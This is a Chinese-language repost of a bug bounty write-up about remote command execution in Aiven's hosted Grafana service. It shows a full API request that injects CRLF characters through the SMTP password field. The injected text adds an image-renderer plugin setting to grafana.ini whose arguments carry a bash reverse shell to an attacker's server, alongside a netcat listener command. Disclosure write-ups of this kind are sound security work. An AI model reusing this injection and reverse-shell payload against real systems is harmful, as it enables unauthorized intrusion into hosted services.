分享一篇关于RCE(远程命令执行)的漏洞报告one.com/reports/1200647
背景介绍
-
Aiven是一家在云上提供数据库和消息服务等托管的公司。漏洞报告者jarij发现Aiven的Grafana服务存在RCE漏洞;
-
grafana的配置文件是grafana.ini,grafana-image-renderer是grafana关于图像的一个插件;
测试过程
-
在Aiven控制台创建Grafana实例 ;
-
在自己服务器上开启netcat监听:
nc -n -lvp 4444
-
向grafana实例发送以下请求,添加smtp配置
PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Connection: keep-alive
Accept: application/json
Authorization: aivenv1 AIVEN_TOKEN_HERE
X-Aiven-Client-Version: aiven-console/3.5.1-1104.g2809991854
Content-Type: application/json
Origin: https://console.aiven.io
{
"user_config": {
"smtp_server": {
"host": "example.org",
"port": 1,
"from_address": "[email protected]",
"password": "xrn[plugin.grafana-image-renderer]rnrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
}
}
}
-
发送请求后,服务器会解析smtp相关参数并保存到grafana.ini文件中,由于后端支持CRLF符,所以在密码字段通过注入CRLF,可以添加grafana-image-renderer插件的配置,实现效果应该如下所示:
# grafana.ini配置文件
[smtp]
host=example.org
...
password=x
[plugin.grafana-image-renderer]
rendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1" -
这样就通过修改配置文件启用了grafana-image-renderer插件,并在rendering_args参数注入攻击代码。代码执行时会反弹一个bash shell连向自己的主机,其中
$IFS
起间隔符号的作用; -
jarij最终获得5000美元赏金。
声明:所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果.
原文始发于微信公众号(薯条机器猫):通过修改grafana配置文件实现RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论